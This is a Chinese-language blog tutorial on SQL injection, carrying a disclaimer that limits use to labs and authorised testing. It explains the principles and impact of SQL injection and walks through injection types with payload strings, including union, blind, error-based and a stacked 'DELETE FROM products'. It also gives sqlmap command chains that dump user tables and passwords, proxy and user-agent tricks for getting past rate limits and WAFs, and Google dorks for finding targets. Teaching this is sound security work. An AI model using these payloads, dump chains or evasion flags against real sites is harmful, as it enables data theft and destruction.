WEB安全之常见漏洞篇:SQL注入完整教程(基础与实战)

1,047 阅读6分钟

免责声明 本教程所涉及的内容仅用于安全学习与防护研究。因使用本教程内容进行非法操作所产生的任何后果,由使用者本人承担,作者及平台概不负责。请务必在合法环境下操作,如靶场、实验室或授权测试环境。


SQL注入(SQL Injection,简称 SQLi)是 Web 安全中最经典、最危险的漏洞之一,本教程将基于提供的素材完整整理 SQL 注入的原理、危害、分类、注入技巧及实战操作方法,做到理论与工具结合。


漏洞原理

SQL 注入是指 Web 应用程序对用户输入的数据没有进行严格的合法性检查或过滤,攻击者可以在原本正常的 SQL 查询语句末尾注入额外的 SQL 语句,从而欺骗数据库服务器执行未授权操作。常见后果包括获取敏感信息、篡改数据库、控制服务器等。

Web 应用通常会把用户输入的数据拼接到 SQL 查询中,如果未进行有效过滤,就可能执行攻击者构造的 SQL 代码。


0x01 漏洞底层逻辑(原理重述,但视角升级)

SQL 注入的本质,从来不是“语句拼接不安全”这么粗浅。

真实本质是:

Web 层的可控输入影响到 SQL 执行计划,使攻击者获得“数据库指令执行权”。

换句话说: 输入 → SQL 拼接 → 执行计划被污染(Plan Pollution)→ 执行未授权查询。

而一旦“执行计划”被攻击者掌控,你的数据库就等同于开放式 API。

典型链路:

用户输入 → 服务端未过滤 → 拼接 SQL → 执行 → 结果回显(或通过侧信道推断)

一个 SQL 注入漏洞,本质等价于:

数据库层面的 RCE(远程指令执行)。


0x02 漏洞危害(按企业真实事故维度拆解)

传统教材只会告诉你“信息泄露”、“篡改数据”这类小学生式危害,本节升级为更贴近攻防实战的维度:

1. 数据视角

  • 任意读取敏感表(用户、订单、资金流)
  • Dump 整库,进行撞库、黑产倒卖
  • 切换库/切换用户权限

2. 系统视角

  • 增删管理员账号
  • 修改业务参数导致非法业务流(虚假订单、强制支付成功)
  • 写入恶意数据触发 RCE 链路(如日志写马、延伸 XSS)

3. 服务器视角

  • 利用数据库提权(MSSQL xp_cmdshell)
  • 调用 LOAD_FILE、INTO OUTFILE 写后门
  • 后续植入主机木马

4. 企业损害视角

  • 监管处罚(金融/医疗行业尤甚)
  • CISO 乙方审计报告直接判定为 “高危”
  • T+0 供应链级漏洞爆炸式传播

一句话描述危害:

SQL 注入 = 数据权限失控 = 业务资产失控 = 企业运营失控。


SQL 注入类型

1. 按注入点分类

数值型注入
  • 输入参数为整数。

  • 测试方式:

    1. id=3' → SQL 报错。
    2. id=3 and 1=1 → 页面正常。
    3. id=3 and 1=2 → 页面无结果。
  • 满足以上条件则存在数值型注入。

字符型注入
  • 输入参数为字符串,需要单引号闭合。

  • 测试方式:

    • 'admin'' → 报错
    • 'admin' and 1=1-- → 正常返回
    • 'admin' and 1=2-- → 异常
  • 常用 MySQL 注释符:

    • -- (注意空格)
    • #
    • /* */
搜索型注入(文本框注入)
  • 常见于网站搜索功能。

  • 构造方式:

    %' and 1=1 and '%'
    %' and exists(select * from admin) and '%'
    %' and exists(select id from admin where id=1) and '%'
    
  • MSSQL 可将结尾的 and '%'='%' 替换为 --

2. 按请求方式分类

  • GET 型注入:参数通过 URL 传递。
  • POST 型注入:参数在 HTTP 请求体内,不可见 URL。
  • HTTP 头注入:利用 User-Agent、Referer 等 HTTP Header。
  • Cookie 注入:Cookie 数据未过滤且使用通用 request() 方法获取。

3. 按注入技巧分类

联合注入(Union-based)
  • 使用 UNION SELECT 联合查询两个表,字段数必须一致。
  • 可直接获取回显数据。
盲注(Blind Injection)
  • 页面无直接回显,需要通过间接方式判断。

  • 布尔盲注:通过 AND/OR 语句控制页面返回 True/False。

    • 示例:and length(database())=8--+
  • 时间盲注:通过 sleep() 等延时函数判断 SQL 是否执行。

    • 示例:' and if(ascii(substr(database(),1,1))=100, sleep(5),1)--+
  • 报错盲注:利用 MySQL 特性触发错误信息回显。

    • 示例:

      ?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a--
      
堆叠注入(Stacked Queries)
  • 利用分号 ; 执行多条 SQL 语句。

  • 示例:

    1; DELETE FROM products
    
  • 与 UNION 的区别:堆叠注入可执行任意 SQL 语句,而 UNION 仅限查询。

二次注入(Second-order Injection)
  • 第一次插入数据时未净化,存入脏数据;第二次查询时直接拼接导致注入。
无列名注入(Columnless Injection)
  • 在不知道列名的情况下进行注入,通常依赖 information_schema 获取表结构。
  • WAF 常阻止,需绕过防护。

工具 & 插件推荐


SQLMap 常用命令

1. 基础用法

sqlmap -u "http://example.com/page?id=1"
  • -u:指定带参数的 URL

2. 批量测试

sqlmap -m urls.txt
  • -m:读取文本文件中的 URL

3. 自动化模式

sqlmap -u "URL" --batch
  • --batch:默认选项自动回答所有提示

4. 信息探测

  • 获取数据库列表:

    sqlmap -u "URL" --dbs
    
  • 获取数据库用户:

    sqlmap -u "URL" --users
    

5. POST 请求注入测试

  • 在 Burp Suite 捕获 POST 请求并保存为 request.txt

  • 指定注入参数:

    username=admin&password=123456
    
  • 加载文件:

    sqlmap -r request.txt
    

6. 测试级别与 HTTP 头检测

sqlmap -u "URL" --level=3
  • 等级 ≥3 才检测 HTTP Header,如 User-Agent、Referer

7. 批量测试 Burp 日志

sqlmap -l burp_log.xml
  • 导入 Burp 保存的代理日志文件

8. 逐层获取数据流程

  1. 获取数据库:

    sqlmap -u "URL" --dbs
    
  2. 指定数据库获取表名:

    sqlmap -u "URL" -D security --tables
    
  3. 获取字段名:

    sqlmap -u "URL" -D security -T users --columns
    
  4. dump 字段内容:

    sqlmap -u "URL" -D security -T users -C username,password --dump
    

9. 绕过防护技巧

  • 自定义 User-Agent:

    sqlmap -u "URL" --user-agent="Mozilla/5.0 ..."
    
  • 随机 User-Agent:

    sqlmap -u "URL" --random-agent
    
  • 代理池:

    sqlmap -u "URL" --proxy="http://127.0.0.1:8080"
    
  • 代理列表:

    sqlmap -u "URL" --proxy-file=proxies.txt
    
  • 请求延迟防速率检测:

    sqlmap -u "URL" --delay=1
    

10. 忽略特定 HTTP 状态码

sqlmap -u "URL" --ignore-code=401,404
  • 避免 401、404 页面导致扫描中断

寻找 SQL 注入漏洞

  1. 在 Google 或漏洞库搜索已知漏洞

    • inurl:.php?id=
    • site:target.com intext:"error"
  2. 结合爬虫或目录扫描工具发现动态参数


结语:SQL 注入为什么今天仍然高危?

因为:

  1. 业务增长速度远超工程师安全意识提升速度
  2. 字符串拼接永远不会完全消失
  3. ORM ≠ 安全
  4. 输入点永远比开发者认为的多
  5. 传统过滤方式在现代攻击技术面前形同虚设

你现在看到的 SQL 注入不是“老漏洞”,而是:

现代 Web 业务链路中最容易、最高性价比、最低成本、最大破坏力的攻击入口。